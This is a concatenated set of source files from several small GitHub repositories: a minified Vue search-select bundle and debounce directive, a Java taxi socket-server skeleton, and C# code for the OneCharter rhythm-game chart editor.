"),t.debounce?o("input",{directives:[{name:"debounce",rawName:"v-debounce",value:t.debounce,expression:"debounce"},{name:"model",rawName:"v-model.lazy",value:t.searchText,expression:"searchText",modifiers:{lazy:!0}}],ref:"input",staticClass:"search",attrs:{autocomplete:"off",id:"asdasd",tabindex:"0"},domProps:{value:t._s(t.searchText)},on:{focus:function(e){e.preventDefault(),t.openOptions(e)},keyup:[function(e){t._k(e.keyCode,"esc",27)||t.closeOptions(e)},function(e){t._k(e.keyCode,"enter",13)||(e.preventDefault(),t.enterItem(e))}],blur:t.blurInput,keydown:[function(e){t._k(e.keyCode,"up",38)||t.prevItem(e)},function(e){t._k(e.keyCode,"down",40)||t.nextItem(e)},function(e){t._k(e.keyCode,"enter",13)||e.preventDefault()},function(e){t._k(e.keyCode,"delete",[8,46])||t.deleteTextOrItem(e)}],change:function(e){t.searchText=e.target.value}}}):o("input",{ref:"input",staticClass:"search",attrs:{autocomplete:"off",tabindex:"0"},domProps:{value:t.searchText},on:{input:function(e){t.searchText=e.target.value},focus:function(e){e.preventDefault(),t.openOptions(e)},keyup:[function(e){t._k(e.keyCode,"esc",27)||t.closeOptions(e)},function(e){t._k(e.keyCode,"enter",13)||(e.preventDefault(),t.enterItem(e))}],blur:t.blurInput,keydown:[function(e){t.inputText=null},function(e){t._k(e.keyCode,"up",38)||t.prevItem(e)},function(e){t._k(e.keyCode,"down",40)||t.nextItem(e)},function(e){t._k(e.keyCode,"enter",13)||e.preventDefault()},function(e){t._k(e.keyCode,"delete",[8,46])||t.deleteTextOrItem(e)}]}}),t._v(" "),o("div",{ref:"menu",staticClass:"menu","class":t.menuClass,style:t.menuStyle,attrs:{tabindex:"-1"},on:{mousedown:function(t){t.preventDefault()}}},[t._l(t.filteredOptions,function(e,i){return[o("div",{key:i,staticClass:"item","class":{selected:e.selected,current:t.pointer===i},attrs:{"data-vss-custom-attr":t.customAttrs[i]?t.customAttrs[i]:""},on:{click:function(o){o.stopPropagation(),t.selectItem(e)},mousedown:t.mousedownItem,mouseenter:function(e){t.pointerSet(i)}}},[t._v("\n "+t._s(e.text)+"\n ")])]})],2)])},staticRenderFns:[]}},function(t,e){t.exports={render:function(){var t=this,e=t.$createElement,o=t._self._c||e;return o("div",{staticClass:"ui fluid multiple search selection dropdown","class":{"active visible":t.showMenu,error:t.isError,disabled:t.isDisabled},on:{click:t.openOptions,focus:t.openOptions}},[o("i",{staticClass:"dropdown icon"}),t._v(" "),t._l(t.selectedOptions,function(e,i){return t.hideSelectedOptions?t._e():[o("a",{staticClass:"ui label transition visible",staticStyle:{display:"inline-block !important"},attrs:{"data-vss-custom-attr":t.customAttr(e)}},[t._v("\n "+t._s(e.text)),o("i",{staticClass:"delete icon",on:{click:function(o){t.deleteItem(e)}}})])]}),t._v(" "),o("input",{directives:[{name:"model",rawName:"v-model",value:t.searchText,expression:"searchText"}],ref:"input",staticClass:"search",style:t.inputWidth,attrs:{autocomplete:"off",tabindex:"0"},domProps:{value:t._s(t.searchText)},on:{focus:function(e){e.preventDefault(),t.openOptions(e)},keyup:[function(e){t._k(e.keyCode,"esc",27)||t.closeOptions(e)},function(e){t._k(e.keyCode,"enter",13)||(e.preventDefault(),t.enterItem(e))}],blur:t.blurInput,keydown:[function(e){t._k(e.keyCode,"up",38)||t.prevItem(e)},function(e){t._k(e.keyCode,"down",40)||t.nextItem(e)},function(e){t._k(e.keyCode,"enter",13)||e.preventDefault()},function(e){t._k(e.keyCode,"delete",[8,46])||t.deleteTextOrLastItem(e)}],input:function(e){e.target.composing||(t.searchText=e.target.value)}}}),t._v(" "),o("div",{staticClass:"text","class":t.textClass},[t._v(t._s(t.inputText)+"\n ")]),t._v(" "),o("div",{ref:"menu",staticClass:"menu","class":t.menuClass,style:t.menuStyle,attrs:{tabindex:"-1"},on:{mousedown:function(t){t.preventDefault()}}},[t._l(t.filteredOptions,function(e,i){return[o("div",{staticClass:"item","class":{selected:e.selected,current:t.pointer===i},attrs:{"data-vss-custom-attr":t.customAttr(e)},on:{click:function(o){o.stopPropagation(),t.selectItem(e)},mousedown:t.mousedownItem,mouseenter:function(e){t.pointerSet(i)}}},[t._v("\n "+t._s(e.text)+"\n ")])]})],2)],2)},staticRenderFns:[]}},function(t,e,o){var i=o(91);"string"==typeof i&&(i=[[t.id,i,""]]);o(5)(i,{});i.locals&&(t.exports=i.locals)},function(t,e,o){var i=o(92);"string"==typeof i&&(i=[[t.id,i,""]]);o(5)(i,{});i.locals&&(t.exports=i.locals)},function(t,e,o){var i=o(93);"string"==typeof i&&(i=[[t.id,i,""]]);o(5)(i,{});i.locals&&(t.exports=i.locals)},function(t,e,o){var i=o(94);"string"==typeof i&&(i=[[t.id,i,""]]);o(5)(i,{});i.locals&&(t.exports=i.locals)},function(t,e,o){var i=o(95);"string"==typeof i&&(i=[[t.id,i,""]]);o(5)(i,{});i.locals&&(t.exports=i.locals)},function(t,e,o){var i=o(96);"string"==typeof i&&(i=[[t.id,i,""]]);o(5)(i,{});i.locals&&(t.exports=i.locals)},function(t,e,o){var i=o(97);"string"==typeof i&&(i=[[t.id,i,""]]);o(5)(i,{});i.locals&&(t.exports=i.locals)}])});
//# sourceMappingURL=vue-search-select.min.js.map```
debounce.js
```/* eslint-disable */
const debounce = function debounce (fn, delay) {
var timeoutID = null
return function () {
clearTimeout(timeoutID)
var args = arguments
var that = this
timeoutID = setTimeout(function () {
fn.apply(that, args)
}, delay)
}
}
directive.debounce = debounce
function directive (el, binding) {
if (binding.value !== binding.oldValue) { // change debounce only if interval has changed
el.oninput = directive.debounce(function (evt) {
el.dispatchEvent(new Event('change'))
}, parseInt(binding.value) || 500)
}
}
module.exports = directive
```
|
11tickles/sf-ltd-api
|
11tickles/sf-ltd-api
README.md
```# sf-ltd-api
Limited API concept for Salesforce
```
|
12-MrBa/Snake-Game-2
|
12-MrBa/Snake-Game-2
README.md
```# Snake-Game
This is the normal snake game.
```
|
1234Nikster/gulp-s-settings
|
1234Nikster/gulp-s-settings
script.js
```// 'use strict'
// @@include('alert.js')
// j()```
script.js
```// 'use strict'
//
function j (){
alert('hi')
}
// j()
// j()```
alert.js
```
function j (){
alert('hi')
}
// j()```
|
123abkls/-
|
123abkls/-
README.md
```# -
放置视频资源
```
|
123andrzej123/TaxiServer
|
123andrzej123/TaxiServer
TaxiServer.java
```package pl.rabkataxi.taxi.taxiserver;
import java.io.IOException;
import java.net.ServerSocket;
import java.net.Socket;
import java.util.ArrayList;
import java.util.logging.Level;
import java.util.logging.Logger;
public class TaxiServer {
public static final int CUSTOMER_SERVER_SOCKET_NUMBER = 5000;
private static final Logger logger = Logger.getLogger(TaxiServer.class.getName());
ArrayList<Socket> customerSocketList;
ArrayList<Customer> customerConnectedList;
public static void main(String[] args) {
TaxiServer taxiServer = new TaxiServer();
taxiServer.start();
}
TaxiServer() {
logger.info("TaxiServer start");
}
private void start() {
customerInit();
}
private void customerInit() {
customerSocketList = new ArrayList();
try {
ServerSocket serverSocket = new ServerSocket(CUSTOMER_SERVER_SOCKET_NUMBER);
while (true) {
Socket socket = serverSocket.accept();
customerConnectedHandling(socket);
}
} catch (IOException ex) {
logger.info("TaxiServer fail");
ex.printStackTrace();
}
}
private void customerConnectedHandling(Socket socket) {
logger.info("customer connected");
customerSocketList.add(socket);
Customer customer = new Customer(socket);
customerConnectedList.add(customer);
Thread thread = new Thread(customer);
thread.start();
}
}
```
Customer.java
```package pl.rabkataxi.taxi.taxiserver;
import java.net.Socket;
public class Customer implements Runnable {
private Socket socket;
Customer(Socket socket) {
this.socket = socket;
}
public void run() {
}
}
```
|
123jimin/RGTools
|
123jimin/RGTools
OffsetMeasure.cs
```using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace RGData
{
/// <summary>Represents measures with fixed time.</summary>
public class OffsetMeasure: Measure {
protected double length;
/// <summary>Length of a measure in ms.</summary>
public double UnitLength { get => length; }
/// <summary>Length of these measures in ms.</summary>
public double TotalLength { get => length * totalBeats; }
/// <summary>Create new measures with fixed timespan.</summary>
/// <param name="length">Length of a measure in ms.</param>
/// <param name="count">Total amount of measures.</param>
public OffsetMeasure(double length, int count = 1) {
if (count <= 0) throw new ArgumentOutOfRangeException("# of measures should be more than zero!");
this.length = length;
totalBeats = count;
}
}
}
```
README.md
```# RGTools
Codes for OneCharter - a simple chart editor for GrooveCoaster and probably more.
Icon sets are by [@vaadin on GitHub](https://github.com/vaadin/vaadin-icons) (CC BY 4.0)
```
HotKey.cs
```using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace OneCharter {
public static class HotKey {
public const Keys TogglePlay = Keys.Space;
public const Keys Delete = Keys.Delete;
public const Keys DeleteAndGoBack = Keys.Back;
}
}
```
EditorForm.Designer.cs
```namespace OneCharter {
partial class EditorForm {
/// <summary>
/// 필수 디자이너 변수입니다.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// 사용 중인 모든 리소스를 정리합니다.
/// </summary>
/// <param name="disposing">관리되는 리소스를 삭제해야 하면 true이고, 그렇지 않으면 false입니다.</param>
protected override void Dispose(bool disposing) {
if (disposing && (components != null)) {
components.Dispose();
}
base.Dispose(disposing);
}
#region Windows Form 디자이너에서 생성한 코드
/// <summary>
/// 디자이너 지원에 필요한 메서드입니다.
/// 이 메서드의 내용을 코드 편집기로 수정하지 마세요.
/// </summary>
private void InitializeComponent() {
this.toolStrip = new System.Windows.Forms.ToolStrip();
this.toolStripDropDownButton2 = new System.Windows.Forms.ToolStripDropDownButton();
this.newToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.openToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.saveToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.toolStripSeparator1 = new System.Windows.Forms.ToolStripSeparator();
this.closeToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.toolStripDropDownButton1 = new System.Windows.Forms.ToolStripDropDownButton();
this.measureToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.timingSegmentToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.toolStripSeparator3 = new System.Windows.Forms.ToolStripSeparator();
this.grooveCoasterToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.tapToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.dualTapToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.flickToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.dualFlickToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.adlibToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.toolStripSeparator2 = new System.Windows.Forms.ToolStripSeparator();
this.holdToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.beatToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.scratchToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.slideHoldToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.dualHoldToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.toolStripDropDownButton4 = new System.Windows.Forms.ToolStripDropDownButton();
this.deleteCurrentItemToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.playStopButton = new System.Windows.Forms.ToolStripButton();
this.toolStripDropDownButton3 = new System.Windows.Forms.ToolStripDropDownButton();
this.aboutOneCharterToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.statusStrip = new System.Windows.Forms.StatusStrip();
this.timeStatLabel = new System.Windows.Forms.ToolStripStatusLabel();
this.toolStrip.SuspendLayout();
this.statusStrip.SuspendLayout();
this.SuspendLayout();
//
// toolStrip
//
this.toolStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.toolStripDropDownButton2,
this.toolStripDropDownButton1,
this.toolStripDropDownButton4,
this.playStopButton,
this.toolStripDropDownButton3});
this.toolStrip.Location = new System.Drawing.Point(0, 0);
this.toolStrip.Name = "toolStrip";
this.toolStrip.Size = new System.Drawing.Size(327, 25);
this.toolStrip.TabIndex = 0;
this.toolStrip.Text = "toolStrip";
//
// toolStripDropDownButton2
//
this.toolStripDropDownButton2.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.newToolStripMenuItem,
this.openToolStripMenuItem,
this.saveToolStripMenuItem,
this.toolStripSeparator1,
this.closeToolStripMenuItem});
this.toolStripDropDownButton2.Image = global::OneCharter.Properties.Resources.IconFile;
this.toolStripDropDownButton2.ImageTransparentColor = System.Drawing.Color.Magenta;
this.toolStripDropDownButton2.Name = "toolStripDropDownButton2";
this.toolStripDropDownButton2.Size = new System.Drawing.Size(54, 22);
this.toolStripDropDownButton2.Text = "&File";
//
// newToolStripMenuItem
//
this.newToolStripMenuItem.Image = global::OneCharter.Properties.Resources.IconFileAdd;
this.newToolStripMenuItem.Name = "newToolStripMenuItem";
this.newToolStripMenuItem.Size = new System.Drawing.Size(103, 22);
this.newToolStripMenuItem.Text = "&New";
//
// openToolStripMenuItem
//
this.openToolStripMenuItem.Image = global::OneCharter.Properties.Resources.IconUpload;
this.openToolStripMenuItem.Name = "openToolStripMenuItem";
this.openToolStripMenuItem.Size = new System.Drawing.Size(103, 22);
this.openToolStripMenuItem.Text = "&Open";
//
// saveToolStripMenuItem
//
this.saveToolStripMenuItem.Image = global::OneCharter.Properties.Resources.IconDownload;
this.saveToolStripMenuItem.Name = "saveToolStripMenuItem";
this.saveToolStripMenuItem.Size = new System.Drawing.Size(103, 22);
this.saveToolStripMenuItem.Text = "&Save";
//
// toolStripSeparator1
//
this.toolStripSeparator1.Name = "toolStripSeparator1";
this.toolStripSeparator1.Size = new System.Drawing.Size(100, 6);
//
// closeToolStripMenuItem
//
this.closeToolStripMenuItem.Image = global::OneCharter.Properties.Resources.IconExit;
this.closeToolStripMenuItem.Name = "closeToolStripMenuItem";
this.closeToolStripMenuItem.Size = new System.Drawing.Size(103, 22);
this.closeToolStripMenuItem.Text = "Close";
this.closeToolStripMenuItem.Click += new System.EventHandler(this.closeToolStripMenuItem_Click);
//
// toolStripDropDownButton1
//
this.toolStripDropDownButton1.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.measureToolStripMenuItem,
this.timingSegmentToolStripMenuItem,
this.toolStripSeparator3,
this.grooveCoasterToolStripMenuItem});
this.toolStripDropDownButton1.Image = global::OneCharter.Properties.Resources.IconPlus;
this.toolStripDropDownButton1.ImageTransparentColor = System.Drawing.Color.Magenta;
this.toolStripDropDownButton1.Name = "toolStripDropDownButton1";
this.toolStripDropDownButton1.Size = new System.Drawing.Size(65, 22);
this.toolStripDropDownButton1.Text = "&Insert";
//
// measureToolStripMenuItem
//
this.measureToolStripMenuItem.Name = "measureToolStripMenuItem";
this.measureToolStripMenuItem.Size = new System.Drawing.Size(163, 22);
this.measureToolStripMenuItem.Text = "Measure";
this.measureToolStripMenuItem.Click += new System.EventHandler(this.measureToolStripMenuItem_Click);
//
// timingSegmentToolStripMenuItem
//
this.timingSegmentToolStripMenuItem.Name = "timingSegmentToolStripMenuItem";
this.timingSegmentToolStripMenuItem.Size = new System.Drawing.Size(163, 22);
this.timingSegmentToolStripMenuItem.Text = "Timing Segment";
//
// toolStripSeparator3
//
this.toolStripSeparator3.Name = "toolStripSeparator3";
this.toolStripSeparator3.Size = new System.Drawing.Size(160, 6);
//
// grooveCoasterToolStripMenuItem
//
this.grooveCoasterToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.tapToolStripMenuItem,
this.dualTapToolStripMenuItem,
this.flickToolStripMenuItem,
this.dualFlickToolStripMenuItem,
this.adlibToolStripMenuItem,
this.toolStripSeparator2,
this.holdToolStripMenuItem,
this.beatToolStripMenuItem,
this.scratchToolStripMenuItem,
this.slideHoldToolStripMenuItem,
this.dualHoldToolStripMenuItem});
this.grooveCoasterToolStripMenuItem.Name = "grooveCoasterToolStripMenuItem";
this.grooveCoasterToolStripMenuItem.Size = new System.Drawing.Size(163, 22);
this.grooveCoasterToolStripMenuItem.Text = "GrooveCoaster";
//
// tapToolStripMenuItem
//
this.tapToolStripMenuItem.Name = "tapToolStripMenuItem";
this.tapToolStripMenuItem.Size = new System.Drawing.Size(130, 22);
this.tapToolStripMenuItem.Text = "Tap";
this.tapToolStripMenuItem.Click += new System.EventHandler(this.tapToolStripMenuItem_Click);
//
// dualTapToolStripMenuItem
//
this.dualTapToolStripMenuItem.Name = "dualTapToolStripMenuItem";
this.dualTapToolStripMenuItem.Size = new System.Drawing.Size(130, 22);
this.dualTapToolStripMenuItem.Text = "Dual Tap";
this.dualTapToolStripMenuItem.Click += new System.EventHandler(this.dualTapToolStripMenuItem_Click);
//
// flickToolStripMenuItem
//
this.flickToolStripMenuItem.Name = "flickToolStripMenuItem";
this.flickToolStripMenuItem.Size = new System.Drawing.Size(130, 22);
this.flickToolStripMenuItem.Text = "Flick";
//
// dualFlickToolStripMenuItem
//
this.dualFlickToolStripMenuItem.Name = "dualFlickToolStripMenuItem";
this.dualFlickToolStripMenuItem.Size = new System.Drawing.Size(130, 22);
this.dualFlickToolStripMenuItem.Text = "Dual Flick";
//
// adlibToolStripMenuItem
//
this.adlibToolStripMenuItem.Name = "adlibToolStripMenuItem";
this.adlibToolStripMenuItem.Size = new System.Drawing.Size(130, 22);
this.adlibToolStripMenuItem.Text = "Ad-lib";
//
// toolStripSeparator2
//
this.toolStripSeparator2.Name = "toolStripSeparator2";
this.toolStripSeparator2.Size = new System.Drawing.Size(127, 6);
//
// holdToolStripMenuItem
//
this.holdToolStripMenuItem.Name = "holdToolStripMenuItem";
this.holdToolStripMenuItem.Size = new System.Drawing.Size(130, 22);
this.holdToolStripMenuItem.Text = "Hold";
//
// beatToolStripMenuItem
//
this.beatToolStripMenuItem.Name = "beatToolStripMenuItem";
this.beatToolStripMenuItem.Size = new System.Drawing.Size(130, 22);
this.beatToolStripMenuItem.Text = "Beat";
//
// scratchToolStripMenuItem
//
this.scratchToolStripMenuItem.Name = "scratchToolStripMenuItem";
this.scratchToolStripMenuItem.Size = new System.Drawing.Size(130, 22);
this.scratchToolStripMenuItem.Text = "Scratch";
//
// slideHoldToolStripMenuItem
//
this.slideHoldToolStripMenuItem.Name = "slideHoldToolStripMenuItem";
this.slideHoldToolStripMenuItem.Size = new System.Drawing.Size(130, 22);
this.slideHoldToolStripMenuItem.Text = "Slide Hold";
//
// dualHoldToolStripMenuItem
//
this.dualHoldToolStripMenuItem.Name = "dualHoldToolStripMenuItem";
this.dualHoldToolStripMenuItem.Size = new System.Drawing.Size(130, 22);
this.dualHoldToolStripMenuItem.Text = "Dual Hold";
//
// toolStripDropDownButton4
//
this.toolStripDropDownButton4.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.deleteCurrentItemToolStripMenuItem});
this.toolStripDropDownButton4.Image = global::OneCharter.Properties.Resources.IconPencil;
this.toolStripDropDownButton4.ImageTransparentColor = System.Drawing.Color.Magenta;
this.toolStripDropDownButton4.Name = "toolStripDropDownButton4";
this.toolStripDropDownButton4.Size = new System.Drawing.Size(56, 22);
this.toolStripDropDownButton4.Text = "&Edit";
//
// deleteCurrentItemToolStripMenuItem
//
this.deleteCurrentItemToolStripMenuItem.Image = global::OneCharter.Properties.Resources.IconEraser;
this.deleteCurrentItemToolStripMenuItem.Name = "deleteCurrentItemToolStripMenuItem";
this.deleteCurrentItemToolStripMenuItem.Size = new System.Drawing.Size(178, 22);
this.deleteCurrentItemToolStripMenuItem.Text = "Delete current item";
this.deleteCurrentItemToolStripMenuItem.Click += new System.EventHandler(this.deleteCurrentItemToolStripMenuItem_Click);
//
// playStopButton
//
this.playStopButton.Image = global::OneCharter.Properties.Resources.IconPlay;
this.playStopButton.ImageTransparentColor = System.Drawing.Color.Magenta;
this.playStopButton.Name = "playStopButton";
this.playStopButton.Size = new System.Drawing.Size(49, 22);
this.playStopButton.Text = "Play";
this.playStopButton.Click += new System.EventHandler(this.playStopButton_Click);
//
// toolStripDropDownButton3
//
this.toolStripDropDownButton3.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.aboutOneCharterToolStripMenuItem});
this.toolStripDropDownButton3.Image = global::OneCharter.Properties.Resources.IconQuestion;
this.toolStripDropDownButton3.ImageTransparentColor = System.Drawing.Color.Magenta;
this.toolStripDropDownButton3.Name = "toolStripDropDownButton3";
this.toolStripDropDownButton3.Size = new System.Drawing.Size(61, 22);
this.toolStripDropDownButton3.Text = "&Help";
//
// aboutOneCharterToolStripMenuItem
//
this.aboutOneCharterToolStripMenuItem.Image = global::OneCharter.Properties.Resources.IconInfo;
this.aboutOneCharterToolStripMenuItem.Name = "aboutOneCharterToolStripMenuItem";
this.aboutOneCharterToolStripMenuItem.Size = new System.Drawing.Size(172, 22);
this.aboutOneCharterToolStripMenuItem.Text = "About OneCharter";
this.aboutOneCharterToolStripMenuItem.Click += new System.EventHandler(this.aboutOneCharterToolStripMenuItem_Click);
//
// statusStrip
//
this.statusStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.timeStatLabel});
this.statusStrip.Location = new System.Drawing.Point(0, 553);
this.statusStrip.Name = "statusStrip";
this.statusStrip.Size = new System.Drawing.Size(327, 22);
this.statusStrip.TabIndex = 1;
this.statusStrip.Text = "statusStrip1";
//
// timeStatLabel
//
this.timeStatLabel.Name = "timeStatLabel";
this.timeStatLabel.Size = new System.Drawing.Size(66, 17);
this.timeStatLabel.Text = "(Time Stat)";
//
// EditorForm
//
this.AutoScaleDimensions = new System.Drawing.SizeF(7F, 12F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.ClientSize = new System.Drawing.Size(327, 575);
this.Controls.Add(this.statusStrip);
this.Controls.Add(this.toolStrip);
this.Name = "EditorForm";
this.Text = "OneCharter";
this.Load += new System.EventHandler(this.EditorForm_Load);
this.KeyDown += new System.Windows.Forms.KeyEventHandler(this.EditorForm_KeyDown);
this.Resize += new System.EventHandler(this.EditorForm_Resize);
this.toolStrip.ResumeLayout(false);
this.toolStrip.PerformLayout();
this.statusStrip.ResumeLayout(false);
this.statusStrip.PerformLayout();
this.ResumeLayout(false);
this.PerformLayout();
}
#endregion
private System.Windows.Forms.ToolStrip toolStrip;
private System.Windows.Forms.ToolStripButton playStopButton;
private System.Windows.Forms.StatusStrip statusStrip;
private System.Windows.Forms.ToolStripStatusLabel timeStatLabel;
private System.Windows.Forms.ToolStripDropDownButton toolStripDropDownButton1;
private System.Windows.Forms.ToolStripDropDownButton toolStripDropDownButton2;
private System.Windows.Forms.ToolStripMenuItem newToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem openToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem saveToolStripMenuItem;
private System.Windows.Forms.ToolStripSeparator toolStripSeparator1;
private System.Windows.Forms.ToolStripMenuItem closeToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem grooveCoasterToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem tapToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem flickToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem dualTapToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem dualFlickToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem adlibToolStripMenuItem;
private System.Windows.Forms.ToolStripSeparator toolStripSeparator2;
private System.Windows.Forms.ToolStripMenuItem holdToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem beatToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem scratchToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem slideHoldToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem dualHoldToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem measureToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem timingSegmentToolStripMenuItem;
private System.Windows.Forms.ToolStripSeparator toolStripSeparator3;
private System.Windows.Forms.ToolStripDropDownButton toolStripDropDownButton3;
private System.Windows.Forms.ToolStripMenuItem aboutOneCharterToolStripMenuItem;
private System.Windows.Forms.ToolStripDropDownButton toolStripDropDownButton4;
private System.Windows.Forms.ToolStripMenuItem deleteCurrentItemToolStripMenuItem;
}
}
```
EditView.Control.cs
```using System;
using System.Collections.Generic;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using RGData;
/**
* EditView.Control.cs - Parts of EditView class related to editor behaviors.
* In the future, all of these operations will be done with EditAction classes (to support undo/redo).
**/
namespace OneCharter {
public partial class EditView {
#region Undoable actions
/// <summary>Adds an element to current cursor location.</summary>
/// <param name="element">The element to be added. Its BeatTime will be modified.</param>
public void AddElement(Element element) {
Snap();
Chart.InsertAt(cursorLocation, element);
Paint();
}
public void InsertMeasure(Measure measure) {
Snap();
Chart.InsertAt(cursorLocation, measure);
Paint();
}
/// <summary>Move the cursor (+t)</summary>
public void NextBeat() {
Pause(); cursorLocation.GoNextBeat(); Paint();
}
/// <summary>Move the cursor (-t)</summary>
public void PrevBeat() {
Pause(); cursorLocation.GoPrevBeat(); Paint();
}
/// <summary>Removes all elemented located at current cursor.</summary>
public void RemoveElementsAtCursor() {
Snap(); cursorLocation.Measure.RemoveAt(cursorLocation.Beat); Paint();
}
#endregion
/// <summary>Starts playing</summary>
public void Play() {
if (isPlaying) return;
isPlaying = true;
maxTime = chartFile.Length + 1000;
timer.Start(CurrentTime);
StartPlaying?.Invoke(this, new EventArgs());
}
/// <summary>Stops playing</summary>
public void Pause() {
if (!isPlaying) return;
isPlaying = false;
timer.Stop();
StopPlaying?.Invoke(this, new EventArgs());
}
/// <summary>Snaps the cursor to nearest beat</summary>
protected void Snap() {
cursorLocation.RemoveBeatOffset();
}
}
}
```
Segment.cs
```using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace RGData {
public class Segment {
protected IList<Measure> measures;
protected double qpm = 120;
// TODO: scroll speed
protected double speed = 1.0d;
public IList<Measure> Measures { get => measures; }
/// <summary>QPM (quarters per minute) for this segment</summary>
public double QPM { get => qpm; set => qpm = value; }
/// <summary>BPM (actually quarters per minute) for this segment</summary>
public double BPM { get => qpm; set => qpm = value; }
/// <summary>ms per a quad note for this segment</summary>
public double MSPQ { get => 60_000d / qpm; }
/// <summary>ms per a whole note for this segment</summary>
public double MSPW { get => 240_000d / qpm; }
/// <summary>Number of 4th notes in this segment</summary>
public double QuadCount {
get => 4 * WholeCount;
}
/// <summary>Number of whole notes in this segment</summary>
public double WholeCount {
get {
double wholes = 0.0d;
foreach (Measure measure in measures) {
switch (measure) {
case BeatMeasure bMeasure:
wholes += bMeasure.WholeLength;
break;
case OffsetMeasure oMeasure:
wholes += oMeasure.TotalLength / MSPW;
break;
default:
throw new NotImplementedException();
}
}
return wholes;
}
}
/// <summary>Length of this segment, in ms</summary>
public double Length {
get => WholeCount * MSPW;
}
public Segment(double qpm = 120.0d) {
measures = new List<Measure>();
this.qpm = qpm;
}
internal void Append(Measure measure) {
measures.Add(measure);
}
/// <summary>Computes the length of a measure object in ms.</summary>
/// <param name="measure">The measure which length will be measured.</param>
/// <returns>Length of the measure in milliseconds.</returns>
public double LengthOf(Measure measure) {
switch (measure) {
case BeatMeasure bMeasure:
return bMeasure.WholeLength * MSPW;
case OffsetMeasure oMeasure:
return oMeasure.TotalLength;
default:
throw new NotImplementedException();
}
}
/// <summary>Computes the length of a measure object in ms.</summary>
/// <param name="measureIndex">Index to the measure.</param>
/// <returns>Length of the measure in milliseconds.</returns>
public double LengthOf(int measureIndex) {
return LengthOf(measures[measureIndex]);
}
/// <summary>Computes the length of a beat of a measure object in ms.</summary>
/// <param name="measure">The measure whose beat's length will be measured.</param>
/// <returns>Length of a beat of the measure in milliseconds.</returns>
public double BeatLengthOf(Measure measure) {
switch (measure) {
case BeatMeasure bMeasure:
return MSPW / bMeasure.QuantBeat;
case OffsetMeasure oMeasure:
return oMeasure.UnitLength;
default:
throw new NotImplementedException();
}
}
/// <summary>Computes the length of a beat of a measure in ms.</summary>
/// <param name="measureIndex">Index to the measure.</param>
/// <returns>Length of a beat of the measure in milliseconds.</returns>
public double BeatLengthOf(int measureIndex) {
return BeatLengthOf(measures[measureIndex]);
}
/// <summary>Computes the amount of quads of a given measure.</summary>
/// <param name="measure">The measure object which length will be measured.</param>
/// <returns>Amount of quads in the given measure object.</returns>
public double QuadLengthOf(Measure measure) {
switch (measure) {
case BeatMeasure bMeasure:
return bMeasure.QuadLength;
case OffsetMeasure oMeasure:
return oMeasure.TotalLength / MSPQ;
default:
throw new NotImplementedException();
}
}
/// <summary>Computes the amount of quads in a measure object in ms.</summary>
/// <param name="measureIndex">Index to the measure.</param>
/// <returns>Amount of quads in the given measure object.</returns>
public double QuadLengthOf(int measureIndex) {
return QuadLengthOf(measures[measureIndex]);
}
}
}
```
Sprite.cs
```using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Drawing;
namespace OneCharter {
/// <summary>
/// Sprite image
/// </summary>
public class Sprite {
protected Bitmap image = null;
public Bitmap Image { get => image; }
protected PointF center;
public PointF Center { get => center; }
public Sprite() : this(new Bitmap(1, 1)) {}
public Sprite(Bitmap image): this(image, image.Width/2f, image.Height/2f) {}
public Sprite(Bitmap image, float cx, float cy) : this(image, new PointF(cx, cy)) {}
public Sprite(Bitmap image, PointF center) {
this.center = center;
this.image = image;
}
public void DrawOn(Graphics g, float x, float y) {
g.DrawImage(image, x - center.X, y - center.Y);
}
public static Sprite Empty = new Sprite();
}
}
```
ShortNote.cs
```using System;
using System.Collections.Generic;
using System.Linq;
